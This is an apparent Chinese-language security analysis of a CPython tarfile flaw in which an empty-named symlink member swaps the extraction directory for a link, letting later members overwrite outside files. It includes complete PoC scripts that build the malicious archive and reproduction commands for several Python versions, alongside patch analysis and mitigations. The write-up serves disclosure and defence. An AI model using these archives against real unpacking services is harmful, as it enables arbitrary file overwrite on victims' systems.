CVE-2026-114583:CPython tarfile 空名符号链接绕过解包目录
本文分析CPython tarfile模块CVE-2026-114583路径穿越漏洞,攻击者通过空名符号链接替换解包目录实现任意文件覆盖,建议显式指定data过滤器修复。
解包一个看起来完全正常的 tar,解完之后目标目录本身变成了一条指向别处的符号链接,归档里那个普普通通的 txt 文件落在了目录之外,把外部同名文件覆盖掉。全程没有报错,
extractall()正常返回。
凑齐这条链只需要两样东西:一条名字是空串的符号链接,加一个普通文件成员。
CPython 的 tarfile 从 3.12 起提供三档过滤器,fully_trusted 什么都不查,tar 查结构性越界,data 在 tar 之上再剥掉危险元数据,3.14.0 起默认走 data。CVE-2026-114583 打穿的就是这道阀,而且穿得极不对称:3.13.12 和 3.13.13 四档全失,3.13.14 起 data 能挡但 tar 漏,3.13.18 把 tar 补上了而默认档照旧中招,3.14.9 反过来默认安全、显式写 tar 仍然漏。
CVE-2026-114583 · cve.org(CNA python.org,PUBLISHED 2026-10-22T20:57Z)|NVD|CPython 文档 · tarfile Extraction filters
更麻烦的是它修完之后的样子。3.13.18 确实发了补丁,但只要代码沿用 extractall(dest) 这种最常见写法,PoC 照样百分百成功。补丁存在,只是默认调用路径根本不经过它。
修复版本发布说明:Python 3.13.18|Python 3.14.10
漏洞现象:解包后目标目录被替换成符号链接
整条攻击链只有四步,每一步都很平淡,合起来才构成越界。
被换掉的不是某个文件,而是解包的根目录本身。一旦 dest 变成链接,后续每一个在字面上合法的 dest/xxx 路径,都会被内核解析到外部去。
环境搭建:四个 CPython 版本并存
复现需要能在同一台机器上并存几个小版本,方便在打穿版本和拦截版本之间来回对照。
# 装 uv,它只负责拉取解释器,不参与解包
curl -LsSf https://astral.sh/uv/install.sh | sh
export PATH="$HOME/.local/bin:$PATH" # 让 uv 在当前 shell 立即可用
# 拉四个小版本:两个尚未修复完的、两个修复版
uv python install 3.13.17 3.13.18 3.14.9 3.14.10
ls -d ~/.local/share/uv/python/*/ # 确认目录名,下面拼绝对路径要用其中 cpython-3.13 和 cpython-3.14 是 uv 生成的别名,指向具体的补丁版本。后面统一用绝对路径调用,避开 PATH 干扰:
# 四个解释器的绝对路径,后文所有命令一律用这些变量调用
PY31317=~/.local/share/uv/python/cpython-3.13.17-linux-x86_64-gnu/bin/python3
PY31318=~/.local/share/uv/python/cpython-3.13.18-linux-x86_64-gnu/bin/python3
PY31409=~/.local/share/uv/python/cpython-3.14.9-linux-x86_64-gnu/bin/python3
PY31410=~/.local/share/uv/python/cpython-3.14.10-linux-x86_64-gnu/bin/python3漏洞复现:一份两成员归档打穿 extractall
归档也不用真实打包工具生成,
tarfile自己写两个成员即可。
脚本 cve-2026-114583-poc.py 同时干三件事:造归档、解包、验证结果。
#!/usr/bin/env python3
import io
import os
import sys
import tarfile
import tempfile
EVIL_NAME = "secret.txt" # 第二个成员的文件名,最终落点由 dest 是否被换成链接决定
ATTACK_BODY = b"ATTACKED\n" # 攻击者要写进外部文件的内容
VICTIM_BODY = "ORIGINAL\n" # 外部文件的原始内容,用来判断有没有被改写
def build_evil_tar(tar_path):
"""造 evil.tar:一条空名符号链接 + 一个普通文件,顺序不能颠倒。"""
# 成员 1:name 为空串的符号链接,linkname 指向与 dest 同级的 outside
link = tarfile.TarInfo(name="")
link.type = tarfile.SYMTYPE
link.linkname = "outside"
link.mode = 0o777
link.size = 0
# 成员 2:普通文件,解包时顺着已经被换成链接的 dest 写到外部
regular = tarfile.TarInfo(name=EVIL_NAME)
regular.type = tarfile.REGTYPE
regular.mode = 0o644
regular.size = len(ATTACK_BODY)
with tarfile.open(tar_path, "w") as tf:
tf.addfile(link)
tf.addfile(regular, io.BytesIO(ATTACK_BODY))
def prepare_workspace():
"""备三个路径:临时根目录、待解包的 dest(故意不创建)、受害者目录 outside。"""
work = tempfile.mkdtemp(prefix="cve114583_")
dest = os.path.join(work, "dest") # 关键前提:dest 事先不存在
outside = os.path.join(work, "outside")
os.makedirs(outside)
victim = os.path.join(outside, EVIL_NAME)
with open(victim, "w", encoding="utf-8") as f:
f.write(VICTIM_BODY)
return work, dest, victim
def unpack(tar_path, dest, flt):
"""按指定过滤器解包;flt 为 None 时不传参数,落到该版本的默认过滤器。"""
with tarfile.open(tar_path) as tf:
if flt is None:
tf.extractall(dest)
else:
tf.extractall(dest, filter=flt)
def report(dest, victim):
"""解包后只查两件事:dest 是不是链接、外部文件内容有没有变。"""
if os.path.islink(dest):
print("[+] dest is now a symlink -> %s" % os.readlink(dest))
else:
print("[-] dest is not a symlink")
with open(victim, encoding="utf-8") as f:
print("[*] outside/%s = %r" % (EVIL_NAME, f.read()))
def main():
flt = sys.argv[1] if len(sys.argv) > 1 else None
print("[*] python %s | filter=%s"
% (sys.version.split()[0], flt if flt else "<default>"))
work, dest, victim = prepare_workspace()
tar_path = os.path.join(work, "evil.tar")
build_evil_tar(tar_path)
try:
unpack(tar_path, dest, flt)
print("[*] extractall() returned normally")
except Exception as exc: # 被修复版本拦下时走这里,异常名即拦点
print("[!] extractall() raised %s: %s" % (type(exc).__name__, exc))
report(dest, victim)
if __name__ == "__main__":
main()dest 只拼路径不创建,outside 预先写入 ORIGINAL 当作受害者文件,两个成员分别满足"空名符号链接"和"后续普通文件"。条件就这样凑齐了。
先在与修复同分支的 3.13.17 上跑最普通的调用,不传 filter:
$PY31317 cve-2026-114583-poc.py
extractall() 正常返回,没抛任何异常,dest 已经是指向 outside 的符号链接,外部文件从 ORIGINAL 变成了 ATTACKED。stderr 会多一条说 3.14 将改默认过滤器的 DeprecationWarning,指向 tf.extractall(dest) 那一行,不影响结果。
换到修复版本的 3.13.18,命令一字不改:
$PY31318 cve-2026-114583-poc.py
一模一样。这里先记住现象,原因在后面。
再看 3.14.10,同样是修复版本,但 3.14 线默认过滤器已经换成 data:
$PY31410 cve-2026-114583-poc.py
异常信息里的 '' 就是被拒的空名成员,would be extracted to '.../dest' 正好点出了接下来要解释的事:一个空名字,被解析成了目标目录本身。
根因一:空文件名坍缩成目标目录,链接趁机替换目录
一个空串怎么会作用到
dest上?三段代码串起来看就清楚了。
成员落到磁盘的起点是 tarfile.py 里的 _extract_one(),它拼路径的方式非常朴素,直接 join:
2523| def _extract_one(self, tarinfo, path, set_attrs, numeric_owner,
2524| filter_function=None):
...
2533| self._extract_member(tarinfo, os.path.join(path, tarinfo.name),
2534| set_attrs=set_attrs,
2535| numeric_owner=numeric_owner,
2536| filter_function=filter_function,
2537| extraction_root=path)tarinfo.name 是空串时,os.path.join('/tmp/x/dest', '') 得到的是 '/tmp/x/dest/',末尾多一个分隔符。进入 _extract_member() 的第一件事就是把这个尾巴削掉:
2606| targetpath = targetpath.rstrip("/")
2607| targetpath = targetpath.replace("/", os.sep)到这一步,空名成员的目标路径和目标目录已经完全重合。
剩下的部分按成员类型分派。符号链接走到 makelink_with_filter():
2616| if tarinfo.islnk() or tarinfo.issym():
2617| self._dbg(1, "%s -> %s" % (tarinfo.name, tarinfo.linkname))
...
2629| elif tarinfo.islnk() or tarinfo.issym():
2630| self.makelink_with_filter(
2631| tarinfo, targetpath,
2632| filter_function=filter_function,
2633| extraction_root=extraction_root)而 makelink_with_filter() 的符号链接分支,是先删后建:
2718| def makelink_with_filter(self, tarinfo, targetpath,
2719| filter_function, extraction_root):
...
2728| try:
2729| # For systems that support symbolic and hard links.
2730| if tarinfo.issym():
2731| if os.path.lexists(targetpath):
2732| # Avoid FileExistsError on following os.symlink.
2733| os.unlink(targetpath)
2734| os.symlink(tarinfo.linkname, targetpath)
2735| return那句注释把动机写得很坦白:os.unlink() 是为了避免后面的 os.symlink() 撞上 FileExistsError。它的隐含假设是 targetpath 是一个已存在的文件,删掉重建链接是常规操作。
如果
targetpath是个目录呢?当dest不存在时,连"已存在"都不成立——lexists返回假,unlink被跳过,os.symlink('outside', '/tmp/x/dest')直接成功。目标目录就此变成一条链接。
后面的事顺理成章。第二个成员 secret.txt 解包时,os.path.join(path, 'secret.txt') 得到 /tmp/x/dest/secret.txt,字面上老老实实待在 dest 里面,任何检查都会放行。可 dest 已经是链接,内核解析这个路径时会跟过去,最终落到 /tmp/x/outside/secret.txt。
所谓"绕过",绕的不是某一条规则,而是把被检查的那个目录本身给换掉了,让后面所有检查都在错误的前提下运行。
根因二:越界检查被写在 for_data 分支里
3.13.18 上默认档仍然中招,问题不在补丁本身写错了,而在补丁所在的那段代码压根没被执行到。一个正确的检查,被写进了错误的作用域。
先看 _get_filtered_attrs() 开头。它先做基础检查,然后用 commonpath 判断目标路径有没有逃出 dest:
798| def _get_filtered_attrs(member, dest_path, for_data=True):
799| new_attrs = {}
800| name = member.name
801| dest_path = os.path.realpath(dest_path, strict=os.ALLOW_MISSING)
...
818| target_path = os.path.realpath(os.path.join(dest_path, name),
819| strict=os.ALLOW_MISSING)
820| if os.path.commonpath([target_path, dest_path]) != dest_path:
821| raise OutsideDestinationError(member, target_path)name 为空时 target_path 正好等于 dest_path,commonpath 相等,检查通过。这在设计上是合理的,因为这条检查只回答一个问题——路径有没有跑到外面去。空名没有跑到外面,它就地落在了根上。
真正的防线在下面,但被包在 if for_data: 里:
843| if for_data:
844| # Ignore ownership for 'data'
...
853| # Check link destination for 'data'
854| if member.islnk() or member.issym():
855| if os.path.isabs(member.linkname):
856| raise AbsoluteLinkError(member)
857| # A link member that resolves to the destination directory itself
858| # would replace it with a (sym)link, redirecting the destination
859| # for all subsequent members.
860| if target_path == dest_path:
861| raise OutsideDestinationError(member, target_path)857 到 859 行那段注释,几乎逐字描述了前面那条链,威胁模型认得清清楚楚。但 if for_data: 这一层把这条防线圈在了 data 过滤器内部。
回想过滤器怎么分派的:
tar_filter 传的是 False,843 行整块跳过,860 行那条检查一次都不会跑。这就是"filter='tar' 中招、filter='data' 拦住"的全部答案。
修复分析:3.13.18 把检查提到公共段并换了判断方式
把修复历史摊开看,这条防线是一步步补起来的,而且每个版本的缺口都不一样。
3.13.12 的情况最出乎意料。对它的 tarfile.py 搜索 target_path == dest_path,结果是零命中:
grep -c 'target_path == dest_path' tarfile_3.13.12_debian.py0也就是说 857 到 861 行那段逻辑,在 3.13.12 里根本还不存在,链接检查只剩 commonpath 那一层。所以这个版本上连显式 filter='data' 都会被穿。3.13.13 的 tarfile.py 同样零命中,实测四档全穿;第一次出现这段逻辑的是 3.13.14,if target_path == dest_path: 落在 825 行。"data 过滤器安全"这句话,只在 3.13.14 及之后的版本上成立。
v3.13.12
tarfile.py|v3.13.14 首次出现的 L825
3.13.18 的修法是把检查整个搬出 for_data 分支,挪到 commonpath 之后成为无条件执行的公共检查,同时改掉了判断方式:
818| target_path = os.path.realpath(os.path.join(dest_path, name),
819| strict=os.ALLOW_MISSING)
820| if os.path.commonpath([target_path, dest_path]) != dest_path:
821| raise OutsideDestinationError(member, target_path)
822| # A link member named after the destination directory itself
823| # would replace it with a (sym)link, redirecting the destination
824| # for all subsequent members.
825| if ((member.islnk() or member.issym())
826| and os.path.normpath(name) == os.curdir):
827| raise OutsideDestinationError(member, target_path)判断方式也一并换了,从 target_path == dest_path 变成 os.path.normpath(name) == os.curdir:
旧写法比的是解析后的绝对路径:
realpath(join(dest_path, name), strict=ALLOW_MISSING)与dest_path。
新写法直接看成员名规范化后是不是
.。空串经normpath()得到'.',与os.curdir相等,命中即拒。这个判断与文件系统状态无关,dest存不存在都不影响结论。
同一份归档、同一个 filter='data',只换 extractall() 传入的路径:
for label, fmt in [("dest 不存在", "dest"), ("dest 带尾斜杠", "./dest/"),
("相对路径 .", "."), ("深层不存在 a/b/dest", "a/b/dest")]:
case(label, fmt) # case() 里调 tf.extractall(fmt, filter="data")########## 3.13.17 ##########
dest 不存在 dest -> 拦截 OutsideDestinationError | secret=ORIGINAL
dest 带尾斜杠 ./dest/ -> 拦截 OutsideDestinationError | secret=ORIGINAL
相对路径 . . -> 拦截 OutsideDestinationError | secret=ORIGINAL
深层不存在 a/b/dest a/b/dest -> 拦截 OutsideDestinationError | secret=ORIGINAL
########## 3.13.18 ##########
dest 不存在 dest -> 拦截 OutsideDestinationError | secret=ORIGINAL
dest 带尾斜杠 ./dest/ -> 拦截 OutsideDestinationError | secret=ORIGINAL
相对路径 . . -> 拦截 OutsideDestinationError | secret=ORIGINAL
深层不存在 a/b/dest a/b/dest -> 拦截 OutsideDestinationError | secret=ORIGINAL所以 3.13.18 换判断方式这件事,实测看不到行为差异:四种 dest 形式下 3.13.17 的旧检查也在抛异常。真正的变化是检查从 for_data 分支搬到了公共路径上,tar 和 fully_trusted 从此也经过它。新写法的好处是结果不再依赖 realpath 怎么解析,这一点是读代码得出的,实测里没有触发过差异。
3.13.17 到 3.13.18 的改动,用 diff -u 看只有两处,新增六行、删除六行,净变化为零:
diff -u tarfile_3.13.17.py tarfile_3.13.18.py
一个纯粹的作用域调整。3.14 线修的是同一处,只是行号整体后移十几行:
diff -u tarfile_3.14.9.py tarfile_3.14.10.py
3.14.10 还顺带改了 getmember() 里对末尾斜杠的处理,属于同一个 PR 的配套改动:

原来不管三七二十一先剥掉末尾斜杠,导致归档里真实存在的 "dir/" 成员按名字查不到;改完之后先按原名查,查不到再退化。这处与本漏洞没有直接因果,和前面 rstrip("/") 那处一样,动的都是成员名与末尾分隔符的匹配。
修复不彻底:3.13.18 默认调用仍然中招
3.13.18 确实把 tar 分支补上了。但 3.13 线的默认过滤器仍然是 fully_trusted,而这个过滤器在 tarfile.py 里只有一行:
def fully_trusted_filter(member, dest_path):
return member它压根不调用 _get_filtered_attrs(),自然也走不到新增的那段检查(825 至 827 行)。于是形成一个很别扭的局面:同一个 3.13.18 解释器,传 filter='tar' 能拦住,什么都不传就被穿。
"升级到官方修复版本"和"我的代码被修复了",是两个不同的命题。补丁只有在调用方显式传 filter= 时才进入执行路径,而 extractall(dest) 这种不带 filter 的写法走的是另一条分支:
with tarfile.open(path) as tf:
tf.extractall(dest) # 3.13.18 上依然中招3.14 线把默认值从"不过滤"改成了 data。3.14.0 的 _get_filter_function() 里,filter is None 时直接返回 data_filter;3.13.17 和 3.13.18 在同一位置仍是告警后返回 fully_trusted_filter,告警文案写的是"Python 3.14 will, by default, filter extracted tar archives"。默认值切换确实把补丁从"可选生效"推成了"默认生效"。
但切换本身不解决问题。3.14.0 的默认值是 data,可 3.14.0 的 data 分支里没有那段检查,默认档照样被穿——这一行在下面的对照表里。检查是到 3.14.6 才进 data 分支的,3.14.0 到 3.14.5 的 tarfile.py 里都搜不到 target_path == dest_path。所以在 3.14 线上,"默认值安全"和"默认档安全"隔了五个小版本。
v3.14.6 L833–L836 首次进入
data分支
影响范围:十个版本、四档过滤器的实测结果
同一台机器、同一份 cve-2026-114583-poc.py、同一条命令模板,只换解释器和 filter 参数。判定标准统一为 outside/secret.txt 是否被改写成 ATTACKED:

版本 | 默认 |
|
|
|
3.13.12 | 中招 | 中招 | 中招 | 中招 |
3.13.13 | 中招 | 中招 | 中招 | 中招 |
3.13.14 | 中招 | 拦截 | 中招 | 中招 |
3.13.15 | 中招 | 拦截 | 中招 | 中招 |
3.13.16 | 中招 | 拦截 | 中招 | 中招 |
3.13.17 | 中招 | 拦截 | 中招 | 中招 |
3.13.18 | 中招 | 拦截 | 拦截 | 中招 |
3.14.0 | 中招 | 中招 | 中招 | 中招 |
3.14.9 | 拦截 | 拦截 | 中招 | 中招 |
3.14.10 | 拦截 | 拦截 | 拦截 | 中招 |
3.13.12 和 3.13.13 两行最需要停下来看。3.13.12 正是这台机器上 Kali rolling 装着的
python3,因为压根没有那项检查,四档全穿,连data都白给。3.13.13 的tarfile.py里同样搜不到那段逻辑,实测四档全穿。大量拿filter='data'当安全兜底的应用,落在这两个版本上等于没兜。3.13.14 出现第一次分化。检查加进去了,但位置在
for_data分支内,于是data拦得住、tar放行。检查上方的注释写得很明确:A link member that resolves to the destination directory itself would replace it with a (sym)link, redirecting the destination for all subsequent members.要防的东西写对了,位置却锁在for_data里。3.13.15、3.13.16、3.13.17 一路下来都是这个形态,检查在文件里的行号依次是 853、860、860,位置始终在for_data分支内,一次都没往外挪。3.13.18 修了
tar,默认档还是中招,因为默认走fully_trusted。这是最容易被误判的一格:升级动作做了,版本号看着也是修复版,风险一点没变。3.14.0 这一行看着矛盾:默认值已经是
data,默认档却还是中招。原因在源码里——3.14.0 的data_filter()中没有那段检查,显式传filter='data'同样被穿。默认值切换只是把补丁的入口接通了,补丁本体是到 3.14.6 才写进data_filter()的。3.14.9 呈现镜像形态。默认档安全了,显式
tar还漏。它和 3.13.17 正好互补,一个默认不漏而显式漏,一个默认就漏。3.14.10 三档全封。
fully_trusted 那一列十版全中,这不是漏洞,是语义:它的定义就是"完全信任归档,不做任何改写",等于把安全阀焊死在开启位置。
攻击面迁移:shutil 与命令行同样中招
除了直接调
tarfile.extractall(),还有两条上层路径:shutil.unpack_archive()和命令行python -m tarfile。
上层接口单独一个脚本:cve-2026-114583-shutil-probe.py,归档构造与主 PoC 一致,只把解包动作换成一行 shutil.unpack_archive()。整个脚本里没有任何地方能填入 filter。
#!/usr/bin/env python3
import io
import os
import shutil
import sys
import tarfile
import tempfile
ATTACK_BODY = b"ATTACKED\n" # 攻击者要写进外部文件的内容
VICTIM_BODY = "ORIGINAL\n" # 外部文件的原始内容,用来判断有没有被改写
def build_evil_tar(tar_path):
"""与主 PoC 相同的两成员归档:空名符号链接在前,普通文件在后。"""
link = tarfile.TarInfo(name="")
link.type = tarfile.SYMTYPE
link.linkname = "outside"
link.mode = 0o777
link.size = 0
regular = tarfile.TarInfo(name="secret.txt")
regular.type = tarfile.REGTYPE
regular.mode = 0o644
regular.size = len(ATTACK_BODY)
with tarfile.open(tar_path, "w") as tf:
tf.addfile(link)
tf.addfile(regular, io.BytesIO(ATTACK_BODY))
def main():
print("[*] python %s | shutil.unpack_archive" % sys.version.split()[0])
work = tempfile.mkdtemp(prefix="cve114583_up_")
dest = os.path.join(work, "dest") # 同样不预先创建
outside = os.path.join(work, "outside")
os.makedirs(outside)
victim = os.path.join(outside, "secret.txt")
with open(victim, "w", encoding="utf-8") as f:
f.write(VICTIM_BODY)
tar_path = os.path.join(work, "evil.tar")
build_evil_tar(tar_path)
# 一行调用,没有任何 filter 可填
try:
shutil.unpack_archive(tar_path, dest)
print("[*] shutil.unpack_archive() returned normally")
except Exception as exc:
print("[!] shutil.unpack_archive() raised %s: %s" % (type(exc).__name__, exc))
print("[%s] dest is symlink: %s"
% ("+" if os.path.islink(dest) else "-", os.path.islink(dest)))
with open(victim, encoding="utf-8") as f:
print("[*] outside/secret.txt = %r" % f.read())
if __name__ == "__main__":
main()三个版本各跑一次,命令只换解释器:
$PY31317 cve-2026-114583-shutil-probe.py
$PY31318 cve-2026-114583-shutil-probe.py
$PY31410 cve-2026-114583-shutil-probe.py
三次实测都落在上面那张版本对照表里默认那一列:3.13.17 和 3.13.18 被穿,3.14.10 拦住。shutil.unpack_archive() 没有 filter 参数可填,调用方连选择的余地都没有——用这个函数封装的解包逻辑,安全性完全由解释器版本决定。
命令行这边用同一个归档,进到 PoC 留下的工作目录直接跑。先看 3.13.18:
WORK=$(ls -dt /tmp/cve114583_*/ | head -1) # 按时间取最近一次留下的工作目录,evil.tar 就在里面
cd "$WORK"
rm -rf dest
$PY31318 -W ignore -m tarfile -e evil.tar dest
readlink dest; cat outside/secret.txt
换成 3.13.17 跑同一组命令,输出逐字相同。再看 3.14.10:
rm -rf dest
printf 'ORIGINAL\n' > outside/secret.txt # 复位受害者文件
$PY31410 -W ignore -m tarfile -e evil.tar dest >/dev/null 2>&1; echo "exit_code=$?"
[ -L dest ] || echo "dest untouched"
cat outside/secret.txt
3.13 线上是静默成功。任何用 subprocess 调 python -m tarfile 做批量解包、再拿退出码判断成败的脚本,在 3.13 线上都没法感知攻击发生过。
CLI 的调用点在 tarfile.py 的 _main() 里,参数是老老实实透传下去的:
tf.extractall(path=curdir, filter=args.filter)问题不在 CLI 漏传,而在于 args.filter 默认是 None,最终仍然落到"该版本的默认过滤器"上,在 3.13 线就是 fully_trusted。
实现对比:GNU tar 在同一份归档上失败退出
同一份 evil.tar 交给 GNU tar 1.35:
tar --version | head -1
cd "$WORK" # 与上一步同一个工作目录
mkdir -p gdest
tar -xf evil.tar -C gdest; echo "exit_code=$?"
GNU tar 把空名规范化成了 .,尝试创建链接时撞上"已存在",直接报错退出,外部文件一个字没动。归档里那个普通成员 secret.txt 倒是正常解出来了,落在 gdest 里。
有意思的地方在于,两个实现对空名的规范化结果其实是同一个路径——'.' 和 dest 指向同一处。不一样的地方只出现在"目标已存在"时怎么处理:GNU tar 撞到已存在的 . 就失败退出,CPython 则用 os.unlink() 先把占位清掉再建链接。
还是那句注释在起作用——"Avoid FileExistsError on following os.symlink"。makelink_with_filter() 为了让 os.symlink() 不撞上 FileExistsError,会先 os.unlink() 掉既有目标;这一步没有任何类型约束,目标是个目录时照样执行,dest 就此变成链接。
所以这不是 tar 格式的固有问题,而是特定实现里一个具体删除策略的后果。同一份归档,GNU tar 的失败是安全的失败,CPython 的成功是不安全的成功。
GNU tar 手册(成员名规范化与覆盖策略)
发行版现状:仓库里的版本离修复还差几个补丁
漏洞修没修上,取决于发行版把哪个小版本编进了仓库。实测这台 Kali rolling:
apt-cache policy python3.13 python3.14 python3
已装的 python3.13 是 3.13.12-1,四档全穿。候选是 3.13.15-1,还在受影响区间里——这时候执行 apt upgrade,升完照样中招。python3 的候选 3.14.7-3 同样早于修复版 3.14.10。
python3 那一行别被版本号带偏:已装的 3.13.9-3 是元包自己的版本,不是解释器版本。/usr/bin/python3 是软链到 python3.13 的,跑起来报的是 Python 3.13.12,前面 3.13.12 那一格实测的就是它:
readlink -f /usr/bin/python3 # /usr/bin/python3.13
/usr/bin/python3 -V # Python 3.13.12对这类漏洞,唯一能在版本升级滞后时还生效的防护,是在应用层显式写 filter='data';而这条防护自己也有前提,见前面 3.13.12 那一格。
修复建议:显式指定 filter 并守住版本下限
代码层最直接的一条:所有解包调用显式指定过滤器,不依赖默认值。
import tarfile
# 唯一改动:显式传 filter='data',不再依赖版本默认值
with tarfile.open(path) as tf:
tf.extractall(dest, filter='data')shutil.unpack_archive() 没有 filter 参数,需要改成直调 extractall(),或者换用带安全策略的解包库。
filter='fully_trusted' 应当从代码库里彻底清掉。它的语义就是把全部防护关掉,正确做法是改成 data,然后处理因元数据剥离而变化的业务逻辑。
版本下限要注意:filter='data' 本身也不是万能兜底。3.13.12 和 3.13.13 的 data 分支同样缺那项检查,实测四档全穿,3.13.14 才第一次拦得住空名成员。要把 tar 那道缺口也补掉,得升到 3.13.18 或 3.14.10。
归档层再加一道,抽成一个独立模块 tar_member_guard.py,不依赖解释器版本:解包前先把成员名扫一遍,拒掉空名和规范化后为 . 的成员。
#!/usr/bin/env python3
"""tar 成员名校验:解包前拒掉空名与规范化后为 '.' 的成员
不依赖解释器版本,作为 filter='data' 之外的第二道。
用法: from tar_member_guard import reject_dest_overwrite
"""
import os
import tarfile
def reject_dest_overwrite(tar_path):
"""成员名规范化后等于当前目录时直接拒绝,这类成员会把 dest 本身换成链接。"""
with tarfile.open(tar_path) as tf:
for member in tf.getmembers():
if os.path.normpath(member.name) == os.curdir:
raise ValueError("suspicious member name: %r" % member.name)三个版本各跑一次,bad.tar 就是前面那个归档,ok.tar 里只有一个普通成员 a/b.txt:
for PY in /usr/bin/python3 $PY31317 $PY31410; do
echo "== $("$PY" -V 2>&1)"
"$PY" - <<'EOF'
from tar_member_guard import reject_dest_overwrite
for path in ("bad.tar", "ok.tar"):
try:
reject_dest_overwrite(path)
print("[+] %s 放行" % path)
except ValueError as exc:
print("[+] %s 被拒: %s" % (path, exc))
EOF
done
这一层只认成员名,三个版本表现一致,和解释器无关。
运行环境也需要兜一层。解包进程用低权限账户,目标目录不要放在敏感路径之上;处理不可信归档时放进一次性容器或 tmpfs,和外部目录做挂载隔离,即便 dest 被换成指向外部的链接,能指到的范围也被沙箱限住。
最后是审计。3.13 线上的攻击不产生任何异常,只能靠主动校验发现:记录每次解包前后的 dest 类型,也就是 os.path.islink(dest),再留一份归档成员清单。这个成本很低,但它是唯一能在日志里留下痕迹的办法。
想确认自己环境是哪种状态,比一下检查的位置就行:
for v in 3.13.17 3.13.18 3.14.9 3.14.10; do
PY=$HOME/.local/share/uv/python/cpython-$v-linux-x86_64-gnu/bin/python3
f=$("$PY" -c 'import tarfile,inspect;print(inspect.getsourcefile(tarfile))') # 让该版本自己报出 tarfile.py 在哪
echo "== $v"
echo -n "target_path == dest_path : "; grep -n 'target_path == dest_path' "$f" || echo "无此检查"
echo -n "normpath(name) == os.curdir : "; grep -n 'normpath(name) == os.curdir' "$f" || echo "无此检查"
done
上面四个版本是本地装着解释器直接核的。3.14.6 到 3.14.8 没装,行号对着 tag 里的 tarfile.py 核,同样不用装解释器:
for v in 3.14.6 3.14.7 3.14.8; do
f=/tmp/gh_$v.py
rm -f "$f"
curl -sSL --retry 3 --retry-delay 2 -o "$f" https://raw.githubusercontent.com/python/cpython/v$v/Lib/tarfile.py
if [ ! -s "$f" ] || ! python3 -c "import py_compile;py_compile.compile('$f',doraise=True)" 2>/dev/null; then
echo "$v 下载不完整,跳过"; continue
fi
echo -n "$v: "; grep -n 'target_path == dest_path' "$f" || echo "无此检查"
done命中 target_path == dest_path 的,说明检查还锁在 for_data 分支里,data 挡得住而 tar 有缺口。3.13.14 到 3.13.17、3.14.6 到 3.14.9 都属于这一类,行号随版本往后挪:3.13 线从 825 排到 860,3.14 线从 836 排到 876:3.14.6 落在 836、3.14.7 落在 864、3.14.8 落在 871、3.14.9 落在 876。换成 normpath(name) == os.curdir 那个形态才算真修好,3.13.18 落在 826 行、3.14.10 落在 842 行。两条都搜不到,就是 3.13.12 和 3.13.13 那种一点防护都没有的状态。
总结
整件事的技术内容可以压成一句话:一个正确的检查被写进了 if for_data: 里面,于是"空名 + 符号链接"两样东西就足以让 tar 过滤器彻底失效,并把目标目录本身换成通往外部的中转站。
真正需要记住的是另外两件事。
一是修复版本和修复生效之间有一段落差。3.13.18 打了补丁,默认调用却根本不经过补丁所在的代码。只改版本号不改代码,等于没修。
二是同一份归档在不同版本、不同 filter 下的行为并不单调。3.13.17 的
data安全而tar不安全,3.14.9 的默认安全而显式tar不安全,3.13.12 和 3.13.13 四档全失。"加了 filter 所以安全"这类判断,必须落到"哪个版本 + 哪个 filter"这个二维坐标上才成立。
如果只带走一条行动项:把所有 extractall 改成显式 filter='data',确认运行版本不低于 3.13.14,彻底修复要 3.13.18 或 3.14.10,别再用 fully_trusted 去消警告。